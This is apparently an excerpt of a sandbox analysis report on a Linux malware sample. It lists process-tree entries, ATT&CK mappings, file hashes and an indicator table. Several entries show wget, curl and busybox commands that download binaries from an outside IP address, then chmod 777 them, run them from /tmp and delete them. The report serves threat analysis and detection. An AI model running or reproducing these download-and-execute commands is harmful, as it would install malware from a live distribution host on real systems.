  - Executes dropped EXE
  PID:962
- /bin/rm
  rm 3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:966
- /bin/chmod
  chmod 777 nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  ./nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:972
- /bin/chmod
  chmod 777 sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  ./sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:978
- /bin/chmod
  chmod 777 hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  ./hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
  2⤵
  PID:981

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH

Path /tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	739	hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH
/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	746	nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	752	sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	762	sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	785	yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	813	bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	821	tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	830	bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	850	NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	872	l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	878	0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	884	3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	890	9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	896	reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
/tmp/yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4	902	yOKxWYl2BZdqVBc8tMW8uslslrCumX4yU4
/tmp/bIjeKjmeyCysOXutfyAHLThcwjcNrttad6	908	bIjeKjmeyCysOXutfyAHLThcwjcNrttad6
/tmp/tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO	914	tgoGMZOE0Wpx66wi22IQnfaPZO8fJyYldO
/tmp/sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi	920	sQRtELUlARowQukSHRdPjEVk3RxYKMPOTi
/tmp/NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C	926	NU1bcFOKsv0C21oMlDVIBDSUi8NBDpOI0C
/tmp/l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE	932	l7x6KIVEZYIf5reGtg7wRHTUMPV8MLK6AE
/tmp/0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM	938	0eg7U5phb8U9nK1WSouHD87ANnyDurW4YM
/tmp/bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP	944	bsFhZAXqsS0wBHPF8O9Qp6liEhDhha8qdP
/tmp/9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN	950	9ktWCpMHbB5enZMr8ujF53MjOq6OOW9fpN
/tmp/reau4xdpALUQgogX58v2UHsHOy2MlpwuaH	956	reau4xdpALUQgogX58v2UHsHOy2MlpwuaH
/tmp/3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE	962	3NxArJBaOQJMQjvVu1BVcembz2IW6e4NGE
/tmp/nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA	968	nnFzX4CwWGiw8iKUxiR1yWnNmpe07OlHLA
/tmp/sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa	974	sy271a9jOB1rQCH4JlDwXNCDsDaou0gWUa
/tmp/hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH	980	hQDrhvo3h5GraK9KXmwFK5lXdt6cGuXpiH